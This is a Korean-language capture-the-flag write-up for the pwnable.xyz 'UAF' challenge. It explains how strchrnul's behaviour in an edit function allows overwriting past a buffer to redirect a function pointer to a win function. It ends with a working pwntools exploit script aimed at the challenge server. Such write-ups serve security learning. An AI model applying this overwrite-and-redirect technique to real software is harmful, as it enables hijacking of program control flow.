[pwnable.xyz] UAF
Pwn/pwnable.xyz

[pwnable.xyz] UAF

반응형
문제 풀이 환경 : Ubuntu 16.04

낚였다. 별거 없는 문제다.

📝 Analysis


<< Mitigation >>

<< Code >>

· edit_char

핵심 함수인데 문제 이름 때문에 다른 데에서 헤맬 수 있다.

strchrnul 함수가 오늘의 주인공이다.

이 함수의 기능은??

요약: 찾는 문자가 없으면 문자열의 제일 끝을 리턴한다.

 

✨ Thinking


처음에는 문제 이름 때문에 힙 문제인줄 알고 열심히 분석하다가 문득 떠오른게 edit 함수 기능 이용하면 뒤로 다 덮을 수 있겠네? 싶어서 바로 해봤다.

제대로 낚였다. ㅋㅋ

 

🧩 Exploit Scenario 


1. save 함수로 0x80 만큼 덮어준다. (처음에 주는 길이는 0x7F라서 아래에서 서술할 편안한 익스를 위해 한 번 불러준다.)

2. 왼쪽 0x41414141 밑줄 그어진 곳은 원래 0x00이었지만 이걸 edit 함수로 없는 걸 줘서 문자열의 마지막으로 오게 한다. 그리고 저 2Byte를 win의 함수로 덮어준다.

 

🚩 Flag 🚩


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./uaf')
p = remote('svc.pwnable.xyz', 30015)
e = ELF('./uaf')

def save(name):
    p.sendlineafter('> ', '2')
    p.sendafter('name: ', name)

def change_char(before, after):
    p.sendlineafter('> ', '5')
    p.sendlineafter('replace: ', before)
    p.sendlineafter('char: ', after)


p.sendlineafter('Name: ', 'karatus')

save('A' * 0x80)
for _ in range(4):
    change_char('\xff', '\x41')
change_char('\x6b', '\xf3')
change_char('\x0d', '\x0c')
p.sendlineafter('> ', '1')

p.interactive()

반응형